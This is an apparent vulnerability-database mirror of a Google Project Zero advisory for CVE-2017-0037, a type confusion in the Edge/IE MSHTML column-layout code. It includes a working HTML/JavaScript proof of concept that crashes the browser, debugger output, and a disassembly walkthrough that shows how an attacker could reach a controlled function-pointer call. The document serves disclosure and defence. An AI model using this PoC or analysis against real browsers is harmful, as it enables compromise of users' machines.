Lucene search
K

Microsoft Edge / Internet Explorer HandleColumnBreakOnColumnSpanningElement Type Confusion

🗓️ 24 Feb 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 123 Views

Microsoft Edge and Internet Explorer handlecolumnbreakoncolumnspanningelement type confusion in 64-bit I

Related
Code
` Microsoft Edge and IE: Type confusion in HandleColumnBreakOnColumnSpanningElement   
  
CVE-2017-0037  
  
  
PoC:  
  
<!-- saved from url=(0014)about:internet -->  
<style>  
.class1 { float: left; column-count: 5; }  
.class2 { column-span: all; columns: 1px; }  
table {border-spacing: 0px;}  
</style>  
<script>  
function boom() {  
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";  
th1.align = "right";  
}  
</script>  
<body onload="setInterval(boom,100)">  
<table cellspacing="0">  
<tr class="class1">  
<th id="th1" colspan="5" width=0></th>  
<th class="class2" width=0><div class="class2"></div></th>  
  
  
Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 <a href="https://crrev.com/2" title="" class="" rel="nofollow">R2</a>. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.  
  
The PoC crashes in  
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement  
when reading from address 0000007800000070  
  
(5fc.8a4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:  
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????  
  
With the following call stack:  
  
Child-SP RetAddr Call Site  
00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4  
00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc  
00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5  
00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147  
00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77  
00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d  
00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3  
00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c  
00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102  
00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b  
00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5  
00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7  
00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c  
00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f  
00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58  
00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b  
00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a  
00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb  
00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7  
00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8  
00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be  
00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2  
00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e  
00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue  
00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa  
00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac  
00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555  
00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3  
00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f  
00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f  
00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22  
00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34  
  
And the following register values:  
  
rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050  
rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0  
rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8  
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000007916490ec0 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000710e75b980 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=00000079164a8f30  
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=000000710e75b928 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=000000710e75c000 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000007916450fc8  
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=000000791648ec60 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000007911ec9f50  
  
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.  
  
Let's take a look at the code around the rip of the crash.  
  
00007ffe`8f330a51 488bcd mov rcx,rbp  
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)  
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????  
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)  
00007ffe`8f330a5f 488bcd mov rcx,rbp  
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)  
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]  
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]  
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]  
00007ffe`8f330a74 488bcf mov rcx,rdi  
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]  
00007ffe`8f330a7d 488bce mov rcx,rsi  
00007ffe`8f330a80 ffd7 call rdi  
  
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).  
  
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.  
  
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.  
  
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: ifratric  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation